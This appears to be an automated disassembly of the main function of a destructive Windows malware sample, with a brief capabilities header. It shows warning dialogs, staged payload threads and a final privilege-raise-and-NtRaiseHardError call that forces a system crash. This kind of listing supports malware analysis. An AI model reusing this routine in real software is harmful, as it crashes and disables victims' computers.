Function at 0x406f40
Capabilities:
Create thread
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
mov eax, dword [0x427004]
xor eax, esp
mov dword [esp + 0x10], eax
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MessageBoxW]
push edi
push 0x34
push str.2MASS_J07225830_2546030.exe_by_fr4ctalz
push str.The_program_you_have_opened_is_malware_and_thus_poses_serious_risks_to_your_computer._r_n_Do_you_want_to_run_this_malware_
push 0
call esi
cmp eax, 7
jne 0x406f7a
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x34
push str._MA____072258_0_25_6030._xe_by_f_4ct_l_
push str.Are_you_sure_you_would_like_to_run_this__r_When_you_run_it_utilities_such_as_Task_Manager_and_Run_will_r_be_disabled_immediately_after_you_click_Yes_and_you_will_no__r_hilonger_be_able_to_boot_into_Windows.
push 0
call esi
cmp eax, 7
jne 0x406f97
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x405d10
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x406d70
push 0
push 0
call ebx
push 0x3e8
call esi
push 0xbb8
call esi
call fcn.00401000
push 0
push 0
push 0
push 0x404160
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x403cd0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x4049e0
push 0
push 0
mov edi, eax
call ebx
push 0
push 0
push 0
push 0x4037f0
push 0
push 0
mov dword [esp + 0x28], eax
call ebx
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
mov edi, dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
call edi
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401160
push 0
push 0
push 0
push 0x404af0
push 0
push 0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
call esi
push 0
push 0
push 0
push 0x4056a0
push 0
push 0
mov ebx, eax
call esi
push 0
push 0
push 0
push 0x4041c0
push 0
push 0
mov edi, eax
call esi
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push esi
call edi
push esi
call ebx
mov ebx, dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
call ebx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004012c0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4056f0
push 0
push 0
call eax
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call edi
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call eax
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401420
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x404410
push 0
push 0
call esi
push 0
push 0
push 0
push 0x404340
push 0
mov edi, eax
push 0
call esi
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401580
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x405950
push 0
push 0
call esi
push 0
push 0
push 0
push 0x404280
push 0
push 0
mov edi, eax
call esi
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401710
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x404f60
push 0
push 0
call eax
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
call fcn.00401860
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x405d30
push 0
push 0
call esi
push 0
push 0
push 0
push 0x405e60
push 0
push 0
mov edi, eax
call esi
push 0
push 0
push 0
push 0x4036e0
push 0
mov esi, eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
call eax
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004019c0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4048b0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x404cd0
push 0
push 0
mov edi, eax
call esi
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
call ebx
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401b60
push 0
push 0
push 0
push 0x404660
push 0
push 0
call esi
mov esi, eax
push 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0x405a90
push 0
push 0
call eax
push 0
push 0
push 0
push 0x4049e0
push 0
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
call esi
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
call esi
mov edi, dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
call edi
call fcn.00401cd0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4060d0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x405820
push 0
push 0
mov dword [esp + 0x28], eax
call esi
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call edi
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
call edi
mov ebx, dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
call ebx
call fcn.00401e40
push 0
push 0
push 0
push 0x406760
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x404280
push 0
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
call fcn.00402070
push 0
push 0
push 0
push 0x406500
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4056f0
push 0
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
call fcn.004021f0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4050d0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x405950
push 0
push 0
mov edi, eax
call esi
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0
push 0
push 0
call ebx
call fcn.00402370
push 0
push 0
push 0
push 0x403a90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
call fcn.004024c0
push 0
push 0
push 0
push 0x403940
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4069e0
push 0
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
call fcn.00402620
push 0
push 0
push 0
push 0x403fd0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
call fcn.00402780
push 0
push 0
push 0
push 0x406bf0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
mov esi, dword [esp + 0x10]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
call fcn.00402920
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x404e10
push 0
push 0
call esi
push 0
push 0
push 0
push 0x406230
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4063a0
push 0
push 0
mov edi, eax
call esi
push 0x7530
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00402a70
push 0
push 0
push 0
push 0x405bd0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x405950
push 0
push 0
call esi
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
mov ebx, edi
call ebx
mov edi, dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
call edi
call fcn.00402bf0
push 0
push 0
push 0
push 0x405270
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0
push 0
push 0
call edi
call fcn.00402d50
push 0
push 0
push 0
push 0x4053d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x404340
push 0
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0
push 0
push 0
call edi
call fcn.00402fb0
push 0
push 0
push 0
push 0x405530
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0
push 0
push 0
call edi
call fcn.00403110
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x405d30
push 0
push 0
call esi
push 0
push 0
push 0
push 0x404410
push 0
push 0
call esi
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0
push 0
push 0
call edi
call fcn.00403270
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4069e0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x406dd0
push 0
push 0
call ebx
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.NtRaiseHardError
push str.ntdll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.RtlAdjustPrivilege
push str.ntdll
mov ebx, eax
call edi
push eax
call esi
lea ecx, [esp + 0x17]
push ecx
push 0
push 1
push 0x13
call eax
lea eax, [esp + 0x18]
push eax
push 6
push 0
push 0
push 0
push 0xc0000099
call ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004078a7
mov esp, ebp
pop ebp
ret 0x10